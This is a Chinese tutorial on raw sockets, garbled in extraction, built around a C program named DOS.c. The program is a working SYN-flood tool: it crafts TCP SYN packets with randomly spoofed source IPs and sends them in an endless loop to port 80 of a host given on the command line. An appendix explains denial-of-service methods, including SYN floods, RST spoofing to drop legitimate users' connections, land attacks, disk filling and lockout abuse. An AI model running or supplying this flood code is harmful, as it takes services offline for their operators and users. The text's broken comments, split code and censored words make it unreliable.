我们在前面已经学习过了网络程序的两种套接字 (SOCK_STREAM,SOCK_DRAGM).在这一章里面我们一起来学习另外一种套 接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP 和 UDP 套接字不能够实现的功能. 注意原始套接字只能够由有root 权限的人创 建. |
原始套接字的创建 |
int sockfd(AF_INET,SOCK_RAW,protocol) |
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原 始套接字比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP 等等.详细的情 况查看 下面我们以一个实例来说明原始套接字的创建和使用: 下面是程序的源代码 |
/******************** #include #include #include #include #include #include #include #include #include |
DOS.c |
*****************/ |
#define DESTPORT80/* 要***的端口(WEB) #define LOCALPORT8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); |
int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; |
if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); |
*/ |
} |
bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); |
if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } |
/**** |
使用IPPROTO_TCP 创建一个TCP 的原始套接字 |
****/ |
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } /********设置IP 数据包格式,告诉系统内核模块IP 数据包由我们自己来填 写***/ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); |
/****只用超级护用户才可以使用原始套接字 setuid(getpid()); |
/*********发送×××了!!!! send_tcp(sockfd,&addr); } |
****/ |
*********/ |
/******* 发送欺骗包的实现*********/ void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** 用来放置我们的数据包 struct ip *ip; struct tcphdr *tcp; int head_len; |
****/ |
/******* ***/ |
我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 |
head_len=sizeof(struct ip)+sizeof(struct tcphdr); |
bzero(buffer,100); |
/********填充IP 数据包的头部,还记得IP 的头格式吗?******/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION;/** 版本一般的是4**/ ip->ip_hl=sizeof(struct ip)>>2; /** IP 数据包的头部长度**/ ip->ip_tos=0;/** 服务类型**/ ip->ip_len=htons(head_len);/** IP 数据包的长度**/ ip->ip_id=0;/** 让系统去填写吧**/ ip->ip_off=0;/** 和上面一样,省点时间**/ ip->ip_ttl=MAXTTL;/** 最长的时间255**/ ip->ip_p=IPPROTO_TCP;/** 我们要发的是TCP 包**/ ip->ip_sum=0;/** 校验和让系统去做**/ ip->ip_dst=addr->sin_addr;/** 我们***的对象**/ |
/*******开始填写TCP 数据包 tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port;/** 目的端口**/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1;/** 我要建立连接**/ tcp->check=0; |
*****/ |
/** 好了,一切都准备好了.**/ while(1) { /**你不知道我是从那里来的,慢慢的去等吧! ip->ip_src.s_addr=random(); |
/** /** |
**/ |
什么都让系统做了,也没有多大的意思,还是让我们自己来校验头 下面这条可有可无*/ tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); |
} |
} |
/* 下面是首部校验和的算法*/ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char * sum+=answer; } |
sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); |
} |
总结 原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自 己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP 套接字 的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我 们的数据后,回自动的调用相应的模块给数据加上TCP 头部,然后加上IP 头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在 上面的实例中,由于我们要修改我们的源IP 地址,所以我们使用了setsockopt 函 数,如果我们只是修改TCP 数据,那么IP 数据一样也可以由系统来创建的. |
附录Dos *** 已经有很多介绍DOS(Denial of Service,即拒绝服务)***的文章,但是,多数人还 是不知道DOS 到底是什么,它到底是怎么实现的。本文主要介绍DOS 的机理和常见的实施 方法。因前段时间仔细了解了TCP/IP 协议以及... 已经有很多介绍DOS(Denial of Service,即拒绝服务)***的文章,但是,多数人还 是不知道DOS 到底是什么,它到底是怎么实现的。本文主要介绍DOS 的机理和常见的实施 方法。因前段时间仔细了解了TCP/IP 协议以及RFC 文档,有点心得。同时,文中有部分内 |
容参考了Shaft 的文章翻译而得 。要想了解DOS ***得实现机理,必须对TCP 有一定的了解。所以,本文分为两部分, 第一部分介绍一 些实现DOS ***相关的协议,第二部分则介绍DOS 的常见方式。 1、什么是DOS *** DOS:即Denial Of Service,拒绝服务的缩写,可不能认为是微软的dos 操作系统了。 好象在5·1 的时候闹过这样的笑话。拒绝服务,就相当于必胜客在客满的时候不再让人进 去一样,呵呵,你想吃馅饼,就必须在门口等吧。DOS ***即***者想办法让目标机器停 止提供服务或资源访问,这些资源包括磁盘空间、内存、进程甚至网络带宽,从而阻止正常 用户的访问。比如: * 试图FLOOD 服务器,阻止合法的网络通?br>* 破坏两个机器间的连接,阻止访问服 务 * 阻止特殊用户访问服务 * 破坏服务器的服务或者导致服务器死机 不过,只有那些比较阴险的***者才单独使用DOS ***,破坏服务器。通常,DOS 攻 击会被作为一次***的一部分,比如,绕过***检测系统的时候,通常从用大量的***出发, 导致***检测系统日志过多或者反应迟钝,这样,***者就可以在潮水般的***中混骗过入 侵检测系统。 2、有关TCP 协议的东西 TCP(transmission control protocol,传输控制协议),是用来在不可靠的因特网上提供 可靠的、端到端的字节流通讯协议,在RFC793 中有正式定义,还有一些解决错误的东西在 RFC 1122 中有记录,RFC 1323 则有TCP 的功能扩展。 我们常见到的TCP/IP 协议中,IP 层不保证将数据报正确传送到目的地,TCP 则从本地 机器接受用户的数据流,将其分成不超过64K 字节的数据片段,将每个数据片段作为单独 的IP 数据包发送出去,最后在目的地机器中再组合成完整的字节流,TCP 协议必须保证可 靠性。 发送和接收方的TCP 传输以数据段的形式交换数据,一个数据段包括一个固定的20 字 节头,加上可选部分,后面再跟上数据,TCP 协议从发送方传送一个数据段的时候,还要 启动计时器,当数据段到达目的地后,接收方还要发送回一个数据段,其中有一个确认序号, 它等于希望收到的下一个数据段的顺序号,如果计时器在确认信息到达前超时了,发送方会 重新发送这个数据段。 上面,我们总体上了解一点TCP 协议,重要的是要熟悉TCP 的数据头(header)。因为 数据流的传输最重要的就是header 里面的东西,至于发送的数据,只是header 附带上的。 客户端和服务端的服务响应就是同header 里面的数据相关,两端的信息交流和交换是根据 header 中的内容实施的,因此,要实现DOS,就必须对header 中的内容非常熟悉。 下面是TCP 数据段头格式。 Source Port 和Destination Port :是本地端口和目标端口 Sequence Number 和Acknowledgment Number :是顺序号和确认号,确认号是希望接 收的字节号。这都是32 位的,在TCP 流中,每个数据字节都被编号。Data offset :表明TCP 头包含多少个32 位字,用来确定头的长度,因为头中可选字段长度是不定的。Reserved : 保 留的我不是人,现在没用,都是0 接下来是6 个1 位的标志,这是两个计算机数据交流的信息标志。接收和发送断根据这 些标志来确定信息流的种类。下面是一些介绍:URG:(Urgent Pointer field significant)紧 急指针。用到的时候值为1,用来处理避免TCP 数据流中断ACK:(Acknowledgment field |
significant)置1 时表示确认号(Acknowledgment Number)为合法,为0 的时候表示数据段 不包含确认信息,确认号被忽略。 PSH:(Push Function),PUSH 标志的数据,置1 时请求的数据段在接收方得到后就可 直接送到应用程序,而不必等到缓冲区满时才传送。 RST:(Reset the connection)用于复位因某种原因引起出现的错误连接,也用来拒绝非 法数据和请求。如果 接收到RST 位时候,通常发生了某些错误。 SYN:(Synchronize sequence numbers)用来建立连接,在连接请求中,SYN=1,CK=0, 连接响应时,SYN=1, ACK=1。即,SYN 和ACK 来区分Connection Request 和Connection Accepted。 FIN:(No more data from sender)用来释放连接,表明发送方已经没有数据发送。 知道这重要的6 个指示标志后,我们继续来。 1 我不是人的WINDOW 字段:表示确认了字节后还可以发送多少字节。可以为0,表 示已经收到包括确认号减1(即已发送所有数据) 在内的所有数据段。 接下来是1 我不是人的Checksum 字段,用来确保可靠性的。 1 我不是人的Urgent Pointer,和下面的字段我们这里不解释了。不然太多了。呵呵,偷 懒啊。 我们进入比较重要的一部分:TCP 连接握手过程。这个过程简单地分为三步。在没有 连接中,接受方(我们针对服务器),服务器处于LISTEN 状态,等待其他机器发送连接请 求。 第一步:客户端发送一个带SYN 位的请求,向服务器表示需要连接,比如发送包假设 请求序号为10,那么则为:SYN=10,ACK=0,然后等待服务器的响应。 第二步:服务器接收到这样的请求后,查看是否在LISTEN 的是指定的端口,不然,就 发送RST=1 应答,拒绝建立连接。如果接收连接,那么服务器发送确认,SYN 为服务器的 一个内码,假设为100,ACK 位则是客户端的请求序号加1,本例中发送的数据是:SYN=100, ACK=11,用这样的数据发送给客户端。向客户端表示,服务器连接已经准备好了,等待客 户端的确认这时客户端接收到消息后,分析得到的信息,准备发送确认连接信号到服务器 第三步:客户端发送确认建立连接的消息给服务器。确认信息的SYN 位是服务器发送 的ACK 位,ACK 位是服务器发送的SYN 位加1。即:SYN=11,ACK=101。 这时,连接已经建立起来了。然后发送数据,<SYN=11,ACK=101><DATA>。这是一 个基本的请求和连接过程。需要注意的是这些标志位的关系,比如SYN、ACK。 3、服务器的缓冲区队列(Backlog Queue) 服务器不会在每次接收到SYN 请求就立刻同客户端建立连接,而是为连接请求分配内 存空间,建立会话,并放到一个等待队列中。如果,这个等待的队列已经满了,那么,服务 器就不在为新的连接分配任何东西,直接丢弃新的请求。如果到了这样的地步,服务器就是 拒绝服务了。 如果服务器接收到一个RST 位信息,那么就认为这是一个有错误的数据段,会根据客 户端IP,把这样的连接在缓冲区队列中清除掉。这对IP 欺骗有影响,也能被利用来做DOS ***。 #################################################################### 上面的介绍,我们了解TCP 协议,以及连接过程。要对SERVER 实施拒绝服务***, 实质上的方式就是有两个: 一,迫使服务器的缓冲区满,不接收新的请求。 |
二,使用IP 欺骗,迫使服务器把合法用户的连接复位,影响合法用户的连接 这就是DOS ***实施的基本思想。具体实现有这样的方法: 1、SYN FLOOD 利用服务器的连接缓冲区(Backlog Queue),利用特殊的程序,设置TCP 的Header, 向服务器端不断地成倍发送只有SYN 标志的TCP 连接请求。当服务器接收的时候,都认为 是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。 如果你的SYN 请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接 收新的请求了。其他合法用户的连接都被拒绝掉。可以持续你的SYN 请求发送,直到缓冲 区中都是你的只有SYN 标记的请求。现在有很多实施SYN FLOOD 的工具,呵呵,自己找 去吧。 2、IP 欺骗DOS *** 这种***利用RST 位来实现。假设现在有一个合法用户(1.1.1.1)已经同服务器建立了正 常的连接,***者构造***的TCP 数据,伪装自己的IP 为1.1.1.1,并向服务器发送一个带 有RST 位的TCP 数据段。服务器接收到这样的数据后,认为从1.1.1.1 发送的连接有错误, 就会清空缓冲区中建立好的连接。这时,如果合法用户1.1.1.1 再发送合法数据,服务器就 已经没有这样的连接了,该用户就必 须从新开始建立连接。***时,伪造大量的IP 地址,向目标发送RST 数据,使服务器 不对合法用户服务。 3、带宽DOS *** 如果你的连接带宽足够大而服务器又不是很大,你可以发送请求,来消耗服务器的缓冲 区消耗服务器的带宽。这种***就是人多力量大了,配合上SYN 一起实施DOS,威力巨大。 不过是初级DOS ***。呵呵。Ping 白宫??你发疯了啊! 4、自身消耗的DOS *** 这是一种老式的***手法。说老式,是因为老式的系统有这样的自身BUG。比如Win95 (winsock v1), Cisco IOS v.10.x, 和其他过时的系统。 这种DOS ***就是把请求客户端IP 和端口弄成主机的IP 端口相同,发送给主机。使 得主机给自己发送TCP 请求和连接。这种主机的漏洞会很快把资源消耗光。直接导致当机。 这中伪装对一些身份认证系统还是威胁巨大的。 上面这些实施DOS ***的手段最主要的就是构造需要的TCP 数据,充分利用TCP 协 议。这些***方法都是建立在TCP 基础上的。还 有其他的DOS ***手段。 5、塞满服务器的硬盘 通常,如果服务器可以没有限制地执行写操作,那么都能成为塞满硬盘造成DOS *** 的途径,比如: 发送垃圾邮件。一般公司的服务器可能把邮件服务器和WEB 服务器都放在一起。破坏 者可以发送大量的垃圾邮件,这些邮件可能都塞在一个邮件队列中或者就是坏邮件队列中, 直到邮箱被撑破或者把硬盘塞满。 让日志记录满。***者可以构造大量的错误信息发送出来,服务器记录这些错误,可能 就造成日志文件非常庞大,甚至会塞满硬盘。同时会让管理员痛苦地面对大量的日志,甚至 就不能发现***者真正的***途径。 向匿名FTP 塞垃圾文件。这样也可以塞满硬盘空间。 6、合理利用策略 一般服务器都有关于帐户锁定的安全策略,比如,某个帐户连续3 次登陆失败,那么这 个帐号将被锁定。这点也可以被破坏者利用,他们伪装一个帐号去错误登陆,这样使得这个 |
帐号被锁定,而正常的合法用户就不能使用这个帐号去登陆系统了 |